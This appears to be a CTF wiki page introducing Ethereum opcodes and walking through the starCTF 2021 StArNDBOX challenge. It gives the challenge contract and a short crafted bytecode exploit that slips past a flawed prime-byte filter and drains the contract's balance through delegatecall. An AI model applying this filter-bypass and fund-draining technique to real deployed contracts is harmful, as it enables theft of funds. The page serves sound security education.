Skip to content

Ethereum Opcodes

There are 142 opcodes in Ethereum. Some common opcodes are shown below:

Uint8 Mnomonic Stack Input Stack Output Expression
00 STOP - - STOP()
01 ADD | a | b | | a + b | a + b
02 MUL | a | b | | a * b | a * b
03 SUB | a | b | | a - b | a - b
04 DIV | a | b | | a // b | a // b
51 MLOAD | offset | | value | value = memory[offset:offset+32]
52 MSTORE | offset | value | - memory[offset:offset+32] = value
54 SLOAD | key | | value | value = storage[key]
55 SSTORE | key | value | - storage[key] = value
56 JUMP | destination | - $pc = destination
5B JUMPDEST - - -
F3 RETURN | offset | length | - return memory[offset:offset+length]
FD REVERT | offset | length | - revert(memory[offset:offset+length])

Info

JUMPDEST is the destination for jump instructions. Jump instructions cannot jump to locations without a JUMPDEST.

For more detailed opcodes information, see ethervm.io.

Example

Using the StArNDBOX challenge from starCTF 2021 as an example to explain opcodes-related challenges.

This challenge deploys the challenge contract with 100 wei sent to it, and our goal is to drain the contract's balance. The source code of the challenge contract is as follows:

pragma solidity ^0.5.11;

library Math {
    function invMod(int256 _x, int256 _pp) internal pure returns (int) {
        int u3 = _x;
        int v3 = _pp;
        int u1 = 1;
        int v1 = 0;
        int q = 0;
        while (v3 > 0){
            q = u3/v3;
            u1= v1;
            v1 = u1 - v1*q;
            u3 = v3;
            v3 = u3 - v3*q;
        }
        while (u1<0){
            u1 += _pp;
        }
        return u1;
    }

    function expMod(int base, int pow,int mod) internal pure returns (int res){
        res = 1;
        if(mod > 0){
            base = base % mod;
            for (; pow != 0; pow >>= 1) {
                if (pow & 1 == 1) {
                    res = (base * res) % mod;
                }
                base = (base * base) % mod;
            }
        }
        return res;
    }
    function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
        if (pow >= 0) {
            return expMod(base,pow,mod);
        }
        else {
            int inv = invMod(base,mod);
            return expMod(inv,abs(pow),mod);
        }
    }

    function isPrime(int n) internal pure returns (bool) {
        if (n == 2 ||n == 3 || n == 5) {
            return true;
        } else if (n % 2 ==0 && n > 1 ){
            return false;
        } else {
            int d = n - 1;
            int s = 0;
            while (d & 1 != 1 && d != 0) {
                d >>= 1;
                ++s;
            }
            int a=2;
            int xPre;
            int j;
            int x = pow_mod(a, d, n);
            if (x == 1 || x == (n - 1)) {
                return true;
            } else {
                for (j = 0; j < s; ++j) {
                    xPre = x;
                    x = pow_mod(x, 2, n);
                    if (x == n-1){
                        return true;
                    }else if(x == 1){
                        return false;
                    }
                }
            }
            return false;
        }
    }

    function gcd(int a, int b) internal pure returns (int) {
        int t = 0;
        if (a < b) {
            t = a;
            a = b;
            b = t;
        }
        while (b != 0) {
            t = b;
            b = a % b;
            a = t;
        }
        return a;
    }
    function abs(int num) internal pure returns (int) {
        if (num >= 0) {
            return num;
        } else {
            return (0 - num);
        }
    }

}

contract StArNDBOX{
    using Math for int;
    constructor()public payable{
    }
    modifier StAr() {
        require(msg.sender != tx.origin);
        _;
    }
    function StArNDBoX(address _addr) public payable{

        uint256 size;
        bytes memory code;
        int res;

        assembly{
            size := extcodesize(_addr)
            code := mload(0x40)
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
            mstore(code, size)
            extcodecopy(_addr, add(code, 0x20), 0, size)
        }
        for(uint256 i = 0; i < code.length; i++) {
            res = int(uint8(code[i]));
            require(res.isPrime() == true);
        }
        bool success;
        bytes memory _;
        (success, _) = _addr.delegatecall("");
        require(success);
    }
}

As we can see, the StArNDBoX function can retrieve the contract at any address and check whether each byte of the contract is a prime number. If it passes the check, it uses delegatecall to call the target contract.

However, since the isPrime function in this contract is not a complete primality check function, 00 and 01 can also pass the check. Therefore, we can construct the following bytecode:

// 0x6100016100016100016100016100016100650361000161fbfbf1
61 00 01 | PUSH2 0x0001
61 00 01 | PUSH2 0x0001
61 00 01 | PUSH2 0x0001
61 00 01 | PUSH2 0x0001
61 00 01 | PUSH2 0x0001
61 00 65 | PUSH2 0x0065
03       | SUB
61 00 01 | PUSH2 0x0001
61 fb fb | PUSH2 0xfbfb
f1       | CALL

This executes the statement address(0x0001).call.gas(0xfbfb).value(0x0065 - 0x0001), which transfers the balance from the challenge contract to address 0x1, thereby draining the balance and satisfying the condition to obtain the flag.

Challenges

starCTF 2021

  • Challenge Name: StArNDBOX

RealWorld 2019

  • Challenge Name: Montagy

QWB 2020

  • Challenge Name: EasySandbox
  • Challenge Name: EGM

Huawei Kunpeng Computing 2020

  • Challenge Name: boxgame

Note

Note: Challenge attachments and related content can be found in the ctf-challenges/blockchain repository.

References